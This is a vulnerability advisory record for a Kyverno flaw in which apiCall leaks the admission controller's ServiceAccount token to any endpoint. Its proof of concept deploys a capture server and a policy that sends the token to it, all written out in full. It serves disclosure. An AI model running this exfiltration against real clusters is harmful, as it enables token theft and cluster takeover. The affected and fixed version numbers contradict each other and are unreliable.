{"id":"CVE-2026-84195","aliases":["BIT-kyverno-2026-84195","GHSA-8wfp-579w-6r25","GO-2026-5268"],"url":"https://o3.security/vulnerability/CVE-2026-84195","summary":"Kyverno before 1.16.4 Credential Leak via apiCall","details":"### Summary\nKyverno's apiCall service mode automatically attaches the admission controller's ServiceAccount (SA) token to outbound HTTP requests. This results in unintended credential exposure when requests are sent to external or attacker-controlled endpoints.\n\nThe behavior is insecure-by-default and not documented, enabling token exfiltration without requiring policy authors to explicitly opt in.\n\n---\n\n### Details\n\nKyverno's apiCall executor (`pkg/engine/apicall/executor.go`) reads the ServiceAccount token from:\n\n`/var/run/secrets/kubernetes.io/serviceaccount/token`\n\nand injects it into every HTTP request as:\n\n```\nAuthorization: Bearer <token>\n```\n\nThis occurs when no explicit `Authorization` header is defined in the policy.\n\n#### Root cause\n\n```go\nif req.Header.Get(\"Authorization\") == \"\" {\n    token := a.getToken()\n    if token != \"\" {\n        req.Header.Add(\"Authorization\", \"Bearer \"+token)\n    }\n}\n```\n\nThis logic introduces several issues:\n\n- **Implicit credential forwarding** to arbitrary endpoints\n- **No trust boundary validation** (external/internal distinction)\n- **Undocumented behavior**\n- **Header.Add instead of Set** allows duplication\n- **No token sanitization** (potential trailing newline)\n\n---\n\n### PoC\n\n#### Preconditions\n\n- Kyverno installed (v1.17.1 tested)\n- A policy using `apiCall.service.url`\n\n---\n\n#### Step 1 — Deploy capture server\n\n```bash\nkubectl run capture --image=python:3-slim --restart=Never -- \\\npython3 -c \"\nimport http.server\nclass H(http.server.BaseHTTPRequestHandler):\n def do_GET(self):\n  print(self.headers.get('Authorization'), flush=True)\n  self.send_response(200)\n  self.end_headers()\nhttp.server.HTTPServer(('0.0.0.0',8888),H).serve_forever()\"\nkubectl expose pod capture --port=8888\n```\n\n---\n\n#### Step 2 — Create policy\n\n```yaml\napiVersion: kyverno.io/v1\nkind: ClusterPolicy\nmetadata:\n  name: token-leak\nspec:\n  rules:\n  - name: test\n    match:\n      any:\n      - resources:\n          kinds: [\"Pod\"]\n    context:\n    - name: r\n      apiCall:\n        method: GET\n        service:\n          url: \"http://capture.default.svc:8888\"\n        jmesPath: \"@\"\n```\n\n---\n\n#### Step 3 — Trigger\n\n```bash\nkubectl run test --image=nginx\n```\n\n---\n\n#### Step 4 — Observe token\n\n```bash\nkubectl logs capture\n```\n\nOutput:\n\n```\nAuthorization: Bearer <SA_TOKEN>\n```\n\n---\n\n### Impact\n\n#### Vulnerability class\n- Credential exposure / leakage\n\n#### Impact details\n\n- Exposure of Kubernetes ServiceAccount token\n- Token grants:\n  - Full control over Kyverno policies\n  - Ability to create/delete webhooks\n  - Read cluster-wide resources\n  - Privilege escalation and persistence","published":"2026-09-01T11:33:58.484Z","modified":"2026-10-28T02:30:23.411704018Z","cvss":null,"epss":{"score":0.00287,"percentile":0.21305,"asOf":"2026-09-17"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Go","name":"github.com/kyverno/kyverno","fixedVersion":"1.17.0"}],"fix":null,"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/84xxx/CVE-2026-84195.json"},{"type":"ADVISORY","url":"https://github.com/kyverno/kyverno/security/advisories/GHSA-8wfp-579w-6r25"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-84195"},{"type":"ADVISORY","url":"https://www.vulncheck.com/advisories/kyverno-before-1.16.4-credential-leak-via-apicall"},{"type":"PACKAGE","url":"https://github.com/kyverno/kyverno"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-28T02:30:23.411704018Z"}}